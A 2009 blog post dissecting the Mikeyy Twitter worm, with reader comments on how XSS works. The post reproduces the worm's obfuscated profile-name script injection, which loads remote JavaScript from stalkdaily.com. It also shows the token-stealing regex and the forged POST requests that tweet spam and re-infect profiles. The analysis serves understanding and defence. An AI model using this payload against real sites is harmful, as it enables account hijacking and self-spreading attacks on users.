A Code Study of the Mikeyy Twitter Worm

I am an active twitter user - and when I saw that many twitter profiles have been affected by the Mikeyy worm, I wanted to take a look at the code behind the worm. This post will help you understand the basic working of the worm.

First thing to do was to get the worm's code. To make sure I don't get infected myself, I disabled JavaScript using the Web Developer extension. Now I have to visit a twitter profile that is infected. I went to the public time line and got one.

The first thing you notice is that the profile name has been changed - to this...

"><title><script>document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,115,116,97,108,107,100,97,105,108,121,46,99,111,109,47,97,106,97,120,46,106,115,34,62,60,47,115,99,114,105,112,116,62));</script>

This name is put in the <title> tag of the page in twitter while visiting a user profile - that's when the script tags get injected into the HEAD of the document - and gets executed.

To find what the payload is, just do an alert instead of a 'document.write'...

alert(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,115,116,97,108,107,100,97,105,108,121,46,99,111,109,47,97,106,97,120,46,106,115,34,62,60,47,115,99,114,105,112,116,62))

Turns out, its...

<script src="http://www.stalkdaily.com/ajax.js"></script>

Basically, the worm downloads and executes 3rd party javascript code within the context of the current document.

Time to get the JavaScript file - 'wget http://www.stalkdaily.com/ajax.js'

3 functions

To my surprise, the the code is really simple - just 3 functions - 127 lines of code. The code I got was the 4th version of the worm. You'll get the full code at the end of this post.

XHConn
Standard XMLHttpRequest function - this is used to make Ajax calls
urlencode
Basically, encodeURIComponent() with some added features.
wait
This is what does all the damage...

wait() of the worm

var content = document.documentElement.innerHTML;
authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
var authtoken = authreg.exec(content);
authtoken = authtoken[1];

First, gets the authentication token from the source code. Twitter source code has this...

twttr.form_authenticity_token = 'd56543953fd73b4fc193ec2c1ed8361097da39c3';

The regular expression gets the authentication token - this is needed to post any changes.

The worm holds 7 phrases in its payload - it will post one of these phrases as a tweet on your account if your are infected...

var randomUpdate=new Array();
randomUpdate[0]="Twitter, freaking fix this already. >:[ - Mikeyy";
randomUpdate[1]="Twitter, your community is going to be mad at you... - Mikeyy";
randomUpdate[2]="This worm is getting out of hand Twitter. - Mikeyy";
randomUpdate[3]="RT!! 4th gen #Mikeyy worm on the loose! Click here to protect yourself: http://tinyurl.com/[removed]";
randomUpdate[4]="This is all Twitters fault! Don't blame Mikeyy!!";
randomUpdate[5]="ALERT!! 4TH GEN MIKEYY WORM, USE NOSCRIPT: http://bit.ly/[removed]";
randomUpdate[6]="How TO remove new Mikeyy worm! RT!!  http://bit.ly/[removed]";

It chooses one of those phrases in random - and posts it.

var randomXSS=new Array();
randomXSS[0] = '"><title><script>document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,115,116,97,108,107,100,97,105,108,121,46,99,111,109,47,97,106,97,120,46,106,115,34,62,60,47,115,99,114,105,112,116,62));</script>';
var genXSS = randomXSS[Math.floor(Math.random()*randomXSS.length)];

These lines had me confused for a while - it made no sense. Why make this an array - why not just a string? Then it hit me - the author intended to put the script at multiple locations - so that even if one of the site was compromised and taken down, the other locations will still be able to deliver the script. But in the end, the author just used one location.

Finally, we come to the last part of the worm - the part where the script posts all the new settings...

var ajaxConn = new XHConn();
ajaxConn.connect("/status/update", "POST", "authenticity_token="+authtoken+"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
var ajaxConn1 = new XHConn();
ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[name]="+xss+"&user[protected]=0&commit=Save");
var ajaxConn2 = new XHConn();
ajaxConn2.connect("/account/profile_settings", "POST", "authenticity_token="+authtoken+"&user[profile_default]=false&tab=colors&profile_theme=1&user[profile_background_color]="+urlencode('## Mikeyy')+"&user[url]=Mikeyy+++++++++++++++++++++++++++++++++++++&commit=save changes");
var ajaxConn3 = new XHConn();
ajaxConn3.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[name]="+xss+"&user[url]=Mikeyy+++++++++++++++++++++++++++++++++++++&user[protected]=0&commit=Save");
var ajaxConn4 = new XHConn();
ajaxConn4.connect("/account/profile_settings", "POST", "authenticity_token="+authtoken+"&user[profile_default]=false&tab=colors&profile_theme=1&user[profile_background_color]="+urlencode('## Mikeyy')+"&user[name]="+xss+"&commit=save changes");
var ajaxConn5 = new XHConn();
ajaxConn5.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[name]="+xss+"&user[protected]=0&commit=Save");

Finally, twitter takes steps - it escapes the characters in the titles - that marks the death of the worm.

The Code

Four versions of the Mikeyy worm's code has been made available thanks to @supyo at GitHub...

I'm on Twitter - @binnyva

In case you are a twitter user(who isn't these days), make sure you follow me - I am @binnyva.

Comments

Roshan Bhattarai at 28 Apr, 2009 08:55
great analysis!!...I wonder how can somebody rewrite the files in the secure server(like twitter) without having access to it.For example, in the title page of that profile of twitter...

can you explain more about those scenarios? As last time one of my client's site has been compromised with js injection and web hosting and me kept on blaming each other.
Reply to this.
Pete at 25 Sep, 2009 07:27
With a cross site scripting (XSS) attack like this one, the attacker isn't exactly loading files to Twitter's servers. What they're doing is they're loading data into Twitter's database. Which people do all the time (every time you send a Tweet, log in, or anything else on Twitter, it adds data to their database). The trick behind this (and many other XSS attacks) is that the data loaded into Twitter's database is malicious.

XSS generally rely on a web developer's mistake. In this case (as with many other such vulnerabilities), the developer forgot to properly "clean" the data in a person's "name" before they post it on the site. Whenever you allow users to enter data that will later be displayed on the site (even just to that user), you should always make sure to clean that data so that it can't contain JavaScript or HTML that you don't want. Twitter failed to do that, and that was what allowed this.

Apparently, "Mickeyy" discovered that Twitter was allowing unfiltered JavaScript to be used as a name, so by changing someone's name to contain JavaScript and HTML, he was able to get that script included in the page when it was displayed to other people (just as your name would be displayed when other people view your page). If the viewer is logged into Twitter at the time, then the script is able to make AJAX-based requests to Twitter as if it were the viewer. In this case, the requests include a request to change the user's name to the malicious script... thereby spreading the worm.

PS -- If you got in a fight with your web host about a XSS attack, you should know that whoever developed your website is responsible for the problem. Not the host. XSS vulnerabilities are strictly a website developer error.
Reply to this.
Anonymous at 19 Oct, 2009 12:24
You shouldn't have any clients while you still ask such a lame questions.
Reply to this.
Comment

Please dont enter you comments in this form - this is a fake form to confuse spamming bots. The next form is the real one.




Comment




Comment Formating : HTML tags a, strong, em, b, i, code, pre, p and br allowed. Other tags will be shown as code(< will become &lt;). Urls, Line breaks will be auto-formated.